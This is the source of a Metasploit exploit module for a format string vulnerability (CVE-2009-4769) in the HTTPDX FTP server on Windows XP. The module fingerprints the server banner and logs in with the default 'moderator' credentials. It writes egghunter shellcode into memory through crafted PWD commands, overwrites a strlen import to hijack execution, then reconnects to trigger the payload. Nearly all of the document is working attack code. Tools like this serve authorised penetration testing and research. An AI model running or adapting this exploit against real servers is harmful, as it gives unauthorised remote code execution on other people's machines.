Path: blob/master/modules/exploits/windows/ftp/httpdx_tolog_format.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Egghunter10include Msf::Exploit::FormatString1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'HTTPDX tolog() Function Format String Vulnerability',17'Description' => %q{18This module exploits a format string vulnerability in HTTPDX FTP server.19By sending a specially crafted FTP command containing format specifiers, an20attacker can corrupt memory and execute arbitrary code.2122By default logging is off for HTTP, but enabled for the 'moderator' user23via FTP.24},25'Author' => [26'jduck' # original discovery and metasploit module27],28'References' => [29[ 'CVE', '2009-4769' ],30[ 'OSVDB', '60181' ]31],32'DefaultOptions' => {33'EXITFUNC' => 'process'34},35'Privileged' => true,36'Payload' => {37# format string max length38'Space' => 1024,39'BadChars' => "\x00\x0a\x0d\x25",40'DisableNops' => true,41'StackAdjustment' => -150042},43'Platform' => 'win',44'Targets' => [45#46# Automatic targeting via fingerprinting47#48[ 'Automatic Targeting', { 'auto' => true } ],4950#51# specific targets52#53[54'httpdx 1.4 - Windows XP SP3 English',55{56'NumPops' => 37,57'Writable' => 0x64f87810, # empty space in core.dll imports58'FlowHook' => 0x64f870e8 # core.dll import for strlen59}60],61[62'httpdx 1.4.5 - Windows XP SP3 English',63{64'NumPops' => 37,65'Writable' => 0x64f87810, # empty space in core.dll imports66'FlowHook' => 0x64f870e8 # core.dll import for strlen67}68],69[70'httpdx 1.4.6 - Windows XP SP3 English',71{72'NumPops' => 37,73'Writable' => 0x64f87810, # empty space in core.dll imports74'FlowHook' => 0x64f870e8 # core.dll import for strlen75}76],77[78'httpdx 1.4.6b - Windows XP SP3 English',79{80'NumPops' => 37,81'Writable' => 0x64f87810, # empty space in core.dll imports82'FlowHook' => 0x64f870e8 # core.dll import for strlen83}84],85[86'httpdx 1.5 - Windows XP SP3 English',87{88'NumPops' => 29,89'Writable' => 0x64f87810, # empty space in core.dll imports90'FlowHook' => 0x64f870e8 # core.dll import for strlen91}92]93],94'DefaultTarget' => 0,95'DisclosureDate' => '2009-11-17',96'Notes' => {97'Reliability' => UNKNOWN_RELIABILITY,98'Stability' => UNKNOWN_STABILITY,99'SideEffects' => UNKNOWN_SIDE_EFFECTS100}101)102)103=begin104105NOTE: Even though all targets have the same addresses now, future targets may not.106107To find a target:1081091. open "core.dll" in IDA Pro1102. navigate to the "c_wildcmp" function1113. follow the xref to the first strlen1124. follow the xref to the imports area1135. copy/paste the address1146. the 'Writable' value should be anything after the last address IDA shows..115(preferably something above 0x0d, to avoid bad chars)116117If crashes occur referencing strange values, 'NumPops' probably needs adjusting.118For now, that will have to be done manually.119120=end121register_options(122[123Opt::RPORT(21),124# note the default user/pass125OptString.new('FTPUSER', [ true, 'The username to authenticate as', 'moderator'], fallbacks: ['USERNAME']),126OptString.new('FTPPASS', [ true, 'The password to authenticate with', 'pass123'], fallbacks: ['PASSWORD'])127]128)129end130131def check132connect133disconnect134vprint_status("FTP Banner: #{banner}".strip)135if banner =~ /httpdx.*\(Win32\)/136return Exploit::CheckCode::Detected137end138139return Exploit::CheckCode::Safe140end141142def exploit143# Use a copy of the target144mytarget = target145146if (target['auto'])147mytarget = nil148149print_status("Automatically detecting the target...")150connect151disconnect152153if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then154print_status("FTP Banner: #{banner.strip}")155version = m[1]156else157print_status("No matching target")158return159end160161self.targets.each do |t|162if (t.name =~ /#{version} - /) then163mytarget = t164break165end166end167168if (not mytarget)169print_status("No matching target")170return171end172173print_status("Selected Target: #{mytarget.name}")174else175print_status("Trying target #{mytarget.name}...")176end177178# proceed with chosen target...179c = connect_login180return if not c181182# '<ip>\n PWD '183ip_length = Rex::Socket.source_address(datastore['RHOST']).length184num_start = ip_length + 1 + 3 + 1185186# use the egghunter!187eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })188189# write shellcode to 'writable' (all at once)190fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)191print_status(" payload format string buffer is #{fmtbuf.length} bytes")192if (res = send_cmd(['PWD', fmtbuf ], true))193print_status(res.strip)194end195196# write 'writable' addr to flowhook (execute shellcode)197# NOTE: the resulting two writes must be done at the same time198fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)199200# add payload to the end201fmtbuf << eh_egg202print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")203if (res = send_cmd(['PWD', fmtbuf ], true))204print_status(res.strip)205end206207disconnect208handler209210# connect again to trigger shellcode211print_status(" triggering shellcode now")212print_status("Please be patient, the egg hunter may take a while...")213connect214end215end216217=begin218219also present in 1.5 (presumably all versions in between)2202211.4/httpdx_src/ftp.cpp:222223544 //printf(out);224545 char af[MAX] = {0};225546 if(isset(out) && client->serve.log || client->serve.debug)226547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);227548 if(isset(out) && client->serve.log)228549 tolog(client->serve.accessl,af);229550 if(isset(out) && client->serve.debug)230551 printf(af);2312321.4/httpdx_src/http.cpp:233234172 char af[MAX] = {0};235173 if(client.serve.log || client.serve.debug)236174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);237175 if(client.serve.log)238176 tolog(client.serve.accessl,af);239177 if(client.serve.debug)240178 printf(af);241242=end243244245